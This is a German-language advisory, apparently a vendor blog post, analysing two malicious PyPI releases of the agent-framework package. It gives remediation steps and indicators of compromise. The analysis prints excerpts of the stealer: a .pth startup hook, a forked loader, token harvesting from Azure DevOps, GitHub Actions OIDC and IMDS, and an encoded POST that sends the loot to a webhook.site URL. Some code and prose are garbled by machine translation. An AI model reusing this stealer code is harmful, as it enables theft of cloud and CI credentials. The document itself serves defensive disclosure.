TL;DR:
Agenten-Framework 1.26.1 und 1.26.2, zwei bösartige Versionen des PyPI-Metapakets „Microsoft Agent Framework“, die am 17. November 2026 im Abstand von 33 Minuten veröffentlicht wurden, führen bei jedem Python-Start einen Credential-Stealer aus, der auf Azure, Azure DevOps und GitHub Actions abzielt secrets. Beide wurden aus PyPI entfernt. Anheften agent-framework==1.26.0 und jedes Geheimnis auf jedem Rechner, auf dem eine der beiden Versionen installiert wurde, rotieren.
Wer ist betroffen
Sie sind betroffen, wenn Sie Folgendes installiert haben: Agenten-Framework 1.26.1 oder 1.26.2 zwischen 20:35 UTC und etwa 21:20 UTC am 17. November 2026, sei es direkt oder über eine vage Vorgabe wie agent-framework>=1.26. Das Paket wird monatlich etwa 190.000 Mal heruntergeladen, sodass sich selbst ein Zeitfenster von 45 Minuten schon summiert.
Bei CI tut es am meisten weh. Ein Pipeline- oder „ container “-Build, der während dieses Zeitfensters eine Neuinstallation durchgeführt hat, hat den Stealer mit allen Ressourcen ausgeführt, auf die der Job Zugriff hatte. Bei Azure DevOps bedeutet das SYSTEM_ACCESSTOKEN sowie die Service-Verbindungen der Pipeline. Bei GitHub Actions greift die Version 1.26.2 auf das OIDC-Token in jedem Workflow zu, der id-token: write anfordern können. Entwickelnde Laptops und Azure-VMs, denen eine verwaltete Identität zugeordnet ist, sind ebenfalls betroffen.
Erkennung mit „ Aikido Security“
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Wie man es behebt
- Erkundigen Sie sich bei
pip show agent-framework, und suche nachagent_framework_meta.pthoderaf_runtime_diag.pthin deinemsite-packagesVerzeichnisse, einschließlich CI-Caches und seit dem 17. November erstellter „ container “-Images. - Anheften
agent-framework==1.26.0und die betroffenen Umgebungen wiederherzustellen. - Behandeln Sie jedes Geheimnis, auf das die Maschine Zugriff hat, als gestohlen. Dazu gehören persönliche Zugriffstoken und Dienstverbindungen von Azure DevOps, Anmeldedaten für Azure-Dienstprinzipale, Token für GitHub, npm, PyPI und Hugging Face, Anmeldedaten für Docker-Registries sowie alles in
.envDateien. - Überprüfen Sie die Entra ID-Anmeldeprotokolle für die Dienstprinzipale und die Verbund-Anmeldedaten, die von Ihren Pipelines und Workflows verwendet werden.
- Durchsuchen Sie Ihre Proxy- und DNS-Protokolle nach Verbindungen zu
webhook[.]site.
Das Entfernen des Pakets verhindert zukünftige Ausführungen, macht jedoch bereits gesendete Daten nicht rückgängig.
Übersicht
Am 17. November 2026 wird Microsofts Agenten-Framework Ein Paket auf PyPI wurde kompromittiert. Um 20:35 Uhr UTC erschien die Version 1.26.1 mit einem Credential-Stealer, der bei jedem Start von Python ausgeführt wird – unabhängig davon, ob das Paket importiert wird oder nicht – und Cloud- sowie CI- secrets en an eine URL von webhook.site sendet. Agenten-Framework ist das Metapaket für Microsoft Agent Framework, das Python-SDK von Microsoft zur Entwicklung von KI-Agenten; daher sind die Rechner, auf denen es am ehesten installiert wird, diejenigen, auf denen sich Azure-Zugangsdaten befinden, deren Diebstahl sich lohnen würde.
Wir haben das Wheel auseinandergenommen, während es noch aktiv war. Dann hat der Angreifer erneut zugeschlagen. 33 Minuten nach dem ersten Upload war 1.26.2 auf PyPI verfügbar, und 1.26.1 war verschwunden – ersetzt durch denselben Stealer unter einem neuen Dateinamen mit einem neuen Ziel in GitHub Actions. Um 21:20 Uhr UTC waren beide Versionen entfernt worden, und 1.26.0 war wieder die aktuellste Version.
1.26.1 scheint ein routinemäßiges Patch-Release zu sein
Der Angreifer hielt die erste Änderung gering. Version 1.26.1 enthält dieselbe README-Datei und dieselbe agent-framework-core[all]==1.26.0 Die Version 1.26.0, die fünf Tage zuvor veröffentlicht wurde, würde daher durch einen PR eines Abhängigkeits-Bots, der sie hochstuft, wie ein routinemäßiges Rauschen wirken. Ein Vergleich der beiden Versionen zeigt zwei neue Dateien und eine geänderte Datei.
agent_framework_meta.pth: in Version 1.26.0 nicht vorhanden, in Version 1.26.1 hinzugefügtagent_framework_meta/_telemetry.py: in Version 1.26.0 nicht vorhanden, in Version 1.26.1 hinzugefügtagent_framework_meta/__init__.py: 853 Byte in Version 1.26.0, 994 Byte in Version 1.26.1 mit dem hinzugefügten Loader
Auch die Verpackung verrät es bereits. In der Release-Pipeline von Microsoft wird dieses Paket als „Wheel“ sowie als Quellcode-Distribution (sdist) veröffentlicht, und die beiden Dateien der Version 1.26.0 wurden im Abstand von 40 Sekunden hochgeladen. Die Version 1.26.1 enthält lediglich ein „Wheel“. Darin befindet sich die RAD Die Datei behält den alten Platzhalter-Zeitstempel aus dem ursprünglichen Build bei, während METADATEN, AUFZEICHNUNG, und die bearbeiteten und hinzugefügten Dateien sind alle mit dem Datum 17. November versehen. Die beiden eingefügten Dateien sind zudem für alle schreibbar (rw-rw-rw-), im Gegensatz zu allem anderen im Paket. Das passt zu jemandem, der ein legitimes Wheel entpackt, es manuell bearbeitet und die neu gepackte Datei mit gültigen Veröffentlichungsdaten hochgeladen hat. Wie diese Daten in seinen Besitz gelangt sind, ist noch nicht bekannt.
Wie der Dieb davonkommt
Der .pth-Hook
Beim Start von Python wird dessen Standortmodul liest jedes .pth Datei in site-packages. Diese Dateien dienen dazu, Verzeichnisse zum Importpfad hinzuzufügen, aber jede Zeile, die mit import wird ausgeführt. Wheels führen bei der Installation niemals Code aus, daher gilt für ein Wheel, dass ein .pth Die Datei kommt einem npm am nächsten postinstall Hook, und in gewisser Hinsicht ist es sogar noch schlimmer. Er wird bei jedem Start des Interpreters in dieser Umgebung ausgelöst, was bedeutet, dass Ihr Code niemals importieren muss agent_framework überhaupt nicht. Laufen pytest oder pip Das allein reicht schon aus.
Die Datei in Version 1.26.1 besteht aus einer einzigen Zeile:
import agent_framework_metaDieser Import wird aufgelöst zu agent_framework_meta/__init__.py, wobei der Angreifer einen Loader unterhalb der legitimen Versionsabfrage angehängt und so verpackt hat, dass er niemals einen Fehler auslösen kann:
# Leichter Hook für die Laufzeitdiagnose.
try:
from . import _telemetry as _telemetry
_telemetry._start()
außer Ausnahme:
passForking im Hintergrund
_start() stellt sicher, dass die Nutzlast einmal pro Prozessbaum ausgeführt wird und den Python-Prozess, der sie ausgelöst hat, niemals verlangsamt:
def _start():
if os.environ.get("_AF_TEL"):
return
os.environ["_AF_TEL"] = "1"
try:
if hasattr(os, "fork"):
pid = os.fork()
if pid == 0:
try:
os.setsid()
except Ausnahme:
pass
_run()
os._exit(0)
return
except Ausnahme:
pass
try:
import threading
t = threading.Thread(target=_run)
t.daemon = True
t.start()
except Ausnahme:
passKindprozesse erben die _AF_TEL Umgebungsvariable, die verhindert, dass jeder von Python gestartete Unterprozess den Stealer erneut auslöst. Unter Linux und macOS wird ein Prozess verzweigt und aufgerufen setsid(), sodass das Kind in eine eigene Sitzung ausgegliedert wird und weiterarbeitet, nachdem Ihr Befehl zurückgegeben wurde. Unter Windows, wo es kein Gabel, wird auf einen Daemon-Thread zurückgegriffen.
Was der Dieb sammelt
Umgebungsvariablen, einschließlich derer anderer Prozesse
Der Stealer kopiert alle Umgebungsvariablen, deren Name eine der zahlreichen Teilzeichenfolgen aus einer langen Liste enthält, darunter TOKEN, GEHEIM, SCHLÜSSEL, AZURE, AWS, GITHUB, HF_, OPENAI, GIESSEREI, SYSTEM, BUILD, PIP, NPM, und NUGET. Dann heißt es dort /proc/<pid>/environ für bis zu 300 laufende Prozesse:
für e in glob.glob("/proc/[0-9]*/environ")[:300]:
try:
raw = open(e, "rb").read().decode("utf-8", "replace")
hits = []
for kv in raw.split("\x00"):
if any(x in kv.upper() für x in ("TOKEN",„SECRET“,„PASSWORT“,„KEY=“,„ENDPOINT_AUTH“,"SYSTEM_ACCESSTOKEN",„IDENTITY_HEADER“)):
hits.append(kv[:2000])Auf einem CI-Runner wird dabei auf ` secrets ` zugegriffen, das vom Build-Agent-Prozess selbst gehalten wird – unabhängig davon, was an den Python-Schritt übergeben wurde.
Anmeldedateien auf der Festplatte
Es erfasst eine Liste bekannter Speicherorte für Anmeldedaten und liest bis zu 60 passende Dateien mit einer Größe von jeweils maximal 256 KB ein, darunter:
- Status der Azure-CLI in
~/.azure/*.json pip.conf,.npmrc,.netrc, und.git-credentials- Dockers
config.json - Hugging-Face-Token
- Azure DevOps-Agent
.AnmeldedatenDateien unter_ArbeitVerzeichnisse undvss-agentInstallationen .envund JSON-Dateien in/appund/Arbeitsbereich, die üblichen „ container “-App-Roots
Azure DevOps-Pipeline-Token
Befindet sich die Nutzlast in einer Azure DevOps-Pipeline, versucht sie, ein OpenID Connect (OIDC)-Token zu generieren:
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
try:
req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]Pipelines, die über die Workload-Identitätsföderation in Azure bereitgestellt werden, speichern kein Client-Geheimnis. Die Pipeline fordert ein kurzlebiges OIDC-Token von Azure DevOps an und tauscht dieses gegen eine „ Microsoft Entra “-ID gegen ein Azure-Zugriffstoken als Dienstprinzipal der Dienstverbindung ein. Mit einem gestohlenen OIDC-Token kann ein Angreifer denselben Austausch vornehmen und mit den Rechten handeln, über die die Dienstverbindung verfügt. Die Anfrage übergibt hier kein serviceConnectionId, daher kann dieser Schritt je nach Konfiguration der Pipeline fehlschlagen. SYSTEM_ACCESSTOKEN Es wird bereits durch die Umgebungsvariable „sweep“ erfasst und ermöglicht für sich genommen den Zugriff auf die Repos, Artefakte und Pipelines der Organisation.
Verwaltete Identitäts-Token
Anschließend fordert es vom lokalen Identitäts-Endpunkt Zugriffstoken für 12 Azure-Ressourcen an, darunter Azure Resource Manager, Microsoft Graph, Key Vault, Storage, Cognitive Services, Azure Machine Learning, Azure AI Foundry, „ Container “ Registry und Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798). Bei App Service und Functions wird Folgendes verwendet: IDENTITY_ENDPOINT mit dem IDENTITY_HEADER geheim. An allen anderen Stellen wird auf den Azure Instance Metadata Service (IMDS) unter 169.254.169.254, das jedem Prozess auf einer VM, der eine verwaltete Identität zugeordnet ist, Tokens übergibt. Außerdem ruft es die Instanz-Metadaten der VM ab.
Nach Hause schicken
Alles wird in einer einzigen POST-Anfrage gesendet. Das Ziel wird in der Quelle base64-kodiert, damit es bei einer zufälligen grep-Suche nicht gefunden wird:
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# wird dekodiert zu https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bbdef _post(tag, data):
try:
import urllib.request
u = base64.b64decode(_ENC).decode()
body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
urllib.request.urlopen(req, timeout=25).read()
except Exception:
passDie Daten werden in JSON serialisiert, mit zlib komprimiert und Base64-kodiert und anschließend mit einem User-Agent von af-runtime-diagnostics/1 um die Tarnung mit der Telemetrie aufrechtzuerhalten. Webhook.site ist ein kostenloser Dienst zur Überprüfung von Anfragen, sodass der Angreifer keine eigene Infrastruktur benötigte. Er las die gestohlenen Daten direkt von der Seite des Tokens aus.
Dreiunddreißig Minuten später, 1:26,2
Um 21:08 Uhr UTC wurde Version 1.26.2 veröffentlicht, erneut als „Wheel“ ohne „sdist“, und etwa zur gleichen Zeit wurde 1.26.1 aus PyPI entfernt. Die neue Version lässt vermuten, dass der Angreifer damit gerechnet hat, dass jemand einen Diff durchführt agent_framework_meta um den ersten zu entdecken. __init__.py ist wieder die byteweise identische, bereinigte Datei aus Version 1.26.0, und die Nutzlast wurde aus dem Paketverzeichnis in ein Modul auf oberster Ebene mit einem .pth Datei mit entsprechendem Namen.
- Start-Hook:
agent_framework_meta.pthin 1.26.1,af_runtime_diag.pthin 1.26.2 - Nutzlast:
agent_framework_meta/_telemetry.pyin 1.26.1,af_runtime_diag.pyin 1.26.2 - Loader: angehängt an
agent_framework_meta/__init__.pyin 1.26.1,_start()aufgerufen am Ende vonaf_runtime_diag.pyin 1.26.2 - User-Agent:
af-runtime-diagnostics/1in 1.26.1,Laufzeitdiagnose/1in 1.26.2 - Obergrenze für die Anmeldedatei: 60 in 1.26.1, 80 in 1.26.2
- GitHub Actions – OIDC-Diebstahl: nein in 1.26.1, ja in 1.26.2
Der Code für die Datenerfassung und -exfiltration ist ansonsten identisch, bis hin zum _ENC Zeichenkette und das „webhook.site“-Token. Die eigentliche Neuerung ist ein Block, der auf GitHub Actions ausgerichtet ist:
# GitHub Actions OIDC (Azure federated credential)
try:
u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
try:
sep = "&" if "?" in u else "?"
uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]Wenn einem GitHub-Actions-Workflow Zugriff gewährt wird id-token: write, der Läufer enthüllt ACTIONS_ID_TOKEN_REQUEST_URL und ACTIONS_ID_TOKEN_REQUEST_TOKEN damit der Workflow ein OIDC-Token anfordern kann. Workflows, die sich mit einem Token für den Austausch von Verbund-Anmeldedaten über Entra ID bei Azure anmelden – genau denselben Trick, den auch der Azure-DevOps-Code anwendet. Mit dem Token in der Hand kann ein Angreifer den Austausch selbst durchführen und sich als die Azure-Identität des Workflows ausgeben. Mit Version 1.26.2 wurde der Anwendungsbereich entsprechend erweitert, indem Folgendes hinzugefügt wurde: MASSNAHMEN, OIDC, RUNNER, und ARM_ an die Umgebungsvariable „filter“ und das Hinzufügen des von GitHub gehosteten Runners’ _temp Verzeichnis und den Azure-CLI-Ordner zur Dateiliste hinzufügen.
An wen sich dies richtet
Die erste Version richtete sich an Azure DevOps und in Azure gehostete Workloads. Eine halbe Stunde später fügte die zweite Version GitHub-Actions-Workflows hinzu, die in Azure bereitgestellt werden. Beide Listen stimmen mit den Umgebungen überein, in denen Nutzer des Agent Frameworks ihren Code ausführen, und die Ressourcenliste umfasst die Microsoft-KI-Dienste, auf denen sie aufbauen, wie beispielsweise Azure AI Foundry und Azure Machine Learning. Eine Patch-Version mit unveränderter Abhängigkeitsfestlegung weckt zudem so wenig Verdacht wie ein Update nur möglich ist. Jedes Projekt mit einer vagen Anforderung wie agent-framework>=1.26 Das wird bei der nächsten Installation berücksichtigt, und Dependabot oder Renovate werden den PR gerne eröffnen.
Der .pth Dieser Trick ist nicht neu. Der LiteLLM-Angriff im März 2026 nutzte denselben Start-Hook, um seine Schadcode bei jedem Python-Start auszuführen, und KI-SDKs sind nach wie vor attraktive Ziele, da die Rechner, auf denen sie installiert sind, Zugangsdaten von Cloud- und Modellanbietern enthalten. Python verfügt nach wie vor über keine Option, um .pth Die Ausführung ist deaktiviert, sodass der Hook noch lange weiterläuft, nachdem niemand mehr das Installationsprotokoll verfolgt.
Auch die rasche Veröffentlichung einer Folgeversion ist erwähnenswert. Ein Angreifer, der weiterhin über Veröffentlichungsrechte verfügt, kann eine schädliche Version schneller durch eine andere ersetzen, als die meisten Teams die erste blockieren können, sodass ein Patch, der sich auf einen einzelnen Dateinamen oder Hash bezieht, bereits veraltet ist.
Indikatoren für Kompromittierung
Netzwerkindikatoren
- Exfiltrations-Endpunkt:
https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry - User-Agent (1.26.1):
af-runtime-diagnostics/1 - User-Agent (1.26.2):
Laufzeitdiagnose/1
Wirtindikatoren
agent_framework_meta.pthoderaf_runtime_diag.pthinsite-packagesaf_runtime_diag.pyauf der obersten Ebene vonsite-packages- Umgebungsvariable
_AF_TEL=1In Python-Prozessen festlegen
Betroffene Pakete
- agent-framework@1.26.1
- agent-framework@1.26.2
Datei-Hashes (SHA256), 1.26.1
agent_framework-1.26.1-py3-none-any.whl:d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110agent_framework_meta/_telemetry.py:39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663agent_framework_meta/__init__.py:c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02agent_framework_meta.pth:21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e
Datei-Hashes (SHA256), 1.26.2
agent_framework-1.26.2-py3-none-any.whl:3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9af_runtime_diag.py:54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1faf_runtime_diag.pth:325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93



